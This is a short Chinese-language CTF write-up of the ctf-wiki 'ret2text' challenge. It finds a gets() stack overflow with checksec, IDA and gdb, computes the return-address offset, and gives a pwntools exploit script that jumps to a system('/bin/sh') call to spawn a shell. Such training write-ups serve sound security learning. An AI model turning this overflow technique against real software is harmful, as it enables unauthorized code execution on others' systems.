T1 ret2text
2023-01-09WP
ctf-wiki基础rop
0x01
file checksec——32-bit, 开启NX
0x02
IDA查看代码,可以看出main函数中有gets函数,存在栈溢出漏洞
发现还有有一个secure函数调用了system(“/bin/sh”)
双击字符串Ctrl+X,记下”/bin/sh”的地址0x0804863A
0x0804863A就是需要返回的地址
0x03
用gdb调试
在调用gets函数的地址处0x080486AE设置断点
r 运行如下
其中ebp为0xffffcff8,esp为0xffffcf70,那么s为[esp+0x1c]即0xffffcf8c,相对于ebp的偏移是0x6c,相对于返回地址的偏移是0x6c+4
0x04
写exp
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c+4) + p32(target))
sh.interactive()
0x05
疑问:我有一点不明白的是为什么IDA中看到的s相对于ebp的偏移是64h,而gdb调试出来的是0x6c+4
网上看到有一个只用IDA就成功地算出了偏移量,但对于文章里的解释并不是很理解
只能说有时候IDA还是与gdb的有出入,不过还是以gdb调试的为准